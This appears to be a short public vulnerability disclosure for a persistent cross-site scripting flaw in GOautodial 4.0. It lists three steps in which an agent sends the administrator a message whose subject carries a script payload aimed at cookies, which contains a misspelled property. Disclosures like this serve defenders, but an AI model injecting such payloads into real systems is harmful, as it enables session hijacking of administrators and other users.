GOautodial 4.0 - Persistent Cross-Site Scripting (Authenticated)

# Exploit Title: GOautodial 4.0 - Persistent Cross-Site Scripting (Authenticated)
# Author: Balzabu
# Discovery Date: 2020-07-23
# Vendor Homepage: https://goautodial.org/
# Software Link: https://goautodial.org/GOautodial-4-x86_64-Final-20191010-0150.iso.html
# Tested Version: 4.0 (Last relase as of today)
# Tested on OS: CentOS 7

# STEPS TO REPRODUCE:

# 1 - Log in as an agent
# 2 - Write a new message to user goadmin with:
Subject: Help me, I can't connect to the webphone <script src=1
href=1 onerror="javascript:alert(document.cookies)"></script>
Text: whatever you want
# 3 - Send and wait for goadmin to read the message... :-)